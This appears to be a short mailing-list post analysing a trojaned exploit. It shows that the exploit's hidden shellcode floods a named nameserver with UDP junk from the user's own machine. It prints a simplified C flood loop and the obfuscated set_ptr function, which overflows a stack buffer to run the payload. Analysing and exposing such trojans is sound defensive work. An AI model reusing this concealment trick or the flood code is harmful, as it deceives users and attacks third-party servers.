well, there is something going on locally, read it bellow

I only analyzed the shell code for linux and this is just a very simple
code. In C, it will be something like this:

fd = socket(PF_INET, SOCK_DGRAM, IPPROTO_UDP)
while (1) sendto(fd, somedata, 1024, 0, dest, 16);

with 'dest' containing the address of the NAI's nameserver and somedata is
just junk.

and it attacks from the local computer running this trojan
(it never uses the host you specify at the command line at all)

just look at the set_ptr function bellow:

int
set_ptr(char *buff, int offset, unsigned long val, int s)
{
        char            copy_buff[1024];
        int             revval;

        memcpy(copy_buff, buff, 1024);
        revval = buff[SHELL_OFFSET_1];
        /* increment record usage count */
        revval += BIND_OFF_01;
        if (s)
                if (!fork())
                        /* simply copy value to offset */
                        memcpy(&copy_buff[offset], &val, sizeof(val));
        memcpy(buff, copy_buff, sizeof(copy_buff));
        return 0;
}

this is called like this:

set_ptr(shellcode, BIND_OFF_02, (unsigned long) shellcode, 1);

note: BIND_OFF_02 = 1028

simply said this is just an obfuscated way to run the "shellcode".
